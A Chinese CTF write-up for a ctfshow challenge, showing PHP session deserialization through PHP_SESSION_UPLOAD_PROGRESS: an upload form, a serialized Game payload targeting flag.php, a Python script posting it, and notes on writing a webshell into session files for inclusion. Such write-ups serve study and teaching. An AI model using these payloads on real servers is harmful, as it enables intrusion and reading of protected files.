session 反序列化

原理详解


ctfshow 新手杯 剪刀石头布

这里我们可以发现服务器使用的处理器为php_serialize,与当前页面处理器不同,在反序列化的时候会造成一些问题。同时cleanup配置没开,关闭了session自动清理,所以我们不需要进行条件竞争。并且我们可以通过session上传进度来传递我们的反序列化串。再看我们主要用到的类。

1.在线运行得到报文

html 复制代码
<!doctype html>
<html>
<body>
<form action="http://793869b1-2080-446e-9066-25f43d926b25.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
 <input type="file" name="file" />
    <input type="submit" />
</form>
</body>
</html>

2.接着上传文件,抓包改数据包,修改文件名为序列化串

php 复制代码
<?php
class Game{
    public $log;
    public function __construct(){
        $this->log = "/var/www/html/flag.php";
    }
}
$a=new Game();
echo serialize($a);
#|O:4:"Game":1:{s:3:"log";s:22:"/var/www/html/flag.php";}
?>

或者用python 发包

python 复制代码
import requests
url = 'http://d41097cd-f0aa-47e1-b486-4bd8ec57324a.challenge.ctf.show/'
sessid = {
    'PHPSESSID':'succ3'
}
data = {
    'PHP_SESSION_UPLOAD_PROGRESS':'|O:4:"Game":1:{s:3:"log";s:22:"/var/www/html/flag.php";}'
}
file = {
    'file':'1'
}
req = requests.post(url=url,files=file,data=data,cookies=sessid)
print(req.text)


利用session.upload_progress进行文件包含和反序列化渗透

PHP_SESSION_UPLOAD_PROGRESS进行文件包含 (详细步骤条件竞争)

1在php5.4之后php.ini开始有几个默认选项

1.session.upload_progress.enabled = on

2.session.upload_progress.cleanup = on

3.session.upload_progress.prefix = "upload_progress_"

4.session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"

5.session.use_strict_mode=off

python 复制代码
> 我们可以利用session.upload_progress将木马写入session文件,然后包含这个session文件。不过前提是我们需要创建一个session文件,并且知道session文件的存放位置。因为session.use_strict_mode=off的关系,我们可以自定义sessionID
> linux系统中session文件一般的默认存储位置为 /tmp 或 /var/lib/php/session
> 例如我们在Cookie中设置了PHPSESSID=flag,php会在服务器上创建文件:/tmp/sess_flag,即使此时用户没有初始化session,php也会自动初始化Session。
> 并产生一个键值,为prefix+name的值,最后被写入sess_文件里
> 还有一个关键点就是session.upload_progress.cleanup默认是开启的,只要读取了post数据,就会清除进度信息,所以我们需要利用条件竞争来pass,写一个脚本来完

2.过滤了. 我们必须包含无后缀文件
利用session.upload_progress进行文件包含和反序列化渗透 php中唯一能控制的无后缀session

控制文件名字/tmp/sess_aaa

php 复制代码
<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}
相关推荐
Heris992 分钟前
2.22 c++练习【operator运算符重载、封装消息队列、封装信号灯集】
开发语言·c++
----云烟----4 分钟前
C/C++ 中 volatile 关键字详解
c语言·开发语言·c++
网安加云课堂7 分钟前
课程分享 | 安全系统建设的挑战与解决方案
网络·安全·web安全
yuanpan23 分钟前
23种设计模式之《组合模式(Composite)》在c#中的应用及理解
开发语言·设计模式·c#·组合模式
BanLul33 分钟前
进程与线程 (三)——线程间通信
c语言·开发语言·算法
十八朵郁金香37 分钟前
【JavaScript】深入理解模块化
开发语言·javascript·ecmascript
Hello.Reader1 小时前
深入理解 Rust 的 `Rc<T>`:实现多所有权的智能指针
开发语言·后端·rust
程序员阿鹏1 小时前
jdbc批量插入数据到MySQL
java·开发语言·数据库·mysql·intellij-idea
yoona10201 小时前
Rust编程语言入门教程(八)所有权 Stack vs Heap
开发语言·后端·rust·区块链·学习方法
莲动渔舟1 小时前
国产编辑器EverEdit - 在编辑器中对文本进行排序
java·开发语言·编辑器